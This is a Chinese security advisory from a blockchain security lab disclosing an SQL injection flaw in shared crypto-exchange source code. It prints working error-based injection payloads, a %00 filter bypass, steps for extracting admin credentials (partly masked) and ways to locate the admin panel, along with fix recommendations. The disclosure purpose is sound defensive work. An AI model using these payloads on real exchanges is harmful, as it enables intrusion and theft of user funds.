近日,HELM区块链安全实验室在GitHub上发现了一套众多交易所可能正在使用的通用源码,经过分析发现其中存在大量的通用0day漏洞。据我们初步统计,使用此代码的交易所超过200家,目前仍存在该漏洞的交易所超过40家。
在与开发商联系过后,得知其发布的演示站是升级过的第二个版本,而新版本虽然已经对该0day进行不完全修复,仍然可以被绕过。为了保证相关交易所的资金安全,HELM区块链安全实验室对此漏洞以及黑客的攻击手法进行分析披露,并提供修复方式,希望各大交易所尽快修复漏洞以防患于未然。
这里我们选择其中一枚高危漏洞(SQL注入类型)进行披露,该漏洞可简单绕过防护,可通过报错注入获取数据库信息,从而获得后台管理权限;黑客通过操纵用户资金交易,可导致交易所资金遭受严重威胁。此注入点存在于行情页面中的请求连接(下图红框),请各个使用此页面类似功能的交易所自查。
通过payload:/Chart/*****?market=' and updatexml(1,concat('~',user(),'~'),1) -- a获取到数据库连接。
用户名:li****
连接地址:localhost
在执行获取表名payload:
/Chart/****?market='and updatexml(1,concat('~',(select count(*) from information_schema.tables where table_schema=database()),'~'),1) -- a
被拦截。
只需加%00绕过即可,payload:
/Chart/***?market=' and updatexml(1,concat('~',(se%00lect cou%00nt(*) f%00rom informat%00ion_schema.tables wh%00ere table_schema=database()),'~'),1)-- a
用burpsuite获取到表名
获取qqbtc_admin字段即可获取管理员账号密码:
账号:****cc
密码:****520
通过分析源代码,APP_DEBUG为TRUE,导致data为NULL,market参数未进行任何过滤,直接带入数据库中执行查询命令。
访问 admin admin.php admin/login 等.... 获取到后台地址
管理员地址:
HELM区块链安全实验室通过对新版本跟进发现,许多交易所虽已对该漏洞进行修复,但仍然存在绕过的可能。
对此,HELM区块链安全实验室根据提出如下建议:
1、对market参数进行过滤。
2、各交易所自查github仓库,如若泄露,删除GitHub上的源代码。
3、慎用第三方开发商的源码,如若外包应当定制化,避免使用二此开发的源码,以免友商使用类似源码被攻击收到影响。
下列交易平台都是受到该漏洞影响的,建议尽快修复
V1版本
我们致力于促进建立良好的区块链安全生态,本次披露无意影响各个交易所的业务,我们建议涉及到的各大交易所进行自检,以避免平台与用户损失。我们将坚决协助监管单位打击假交易所,和具有违规行为的交易所,对各个维护数字货币交易秩序的交易所给予支持。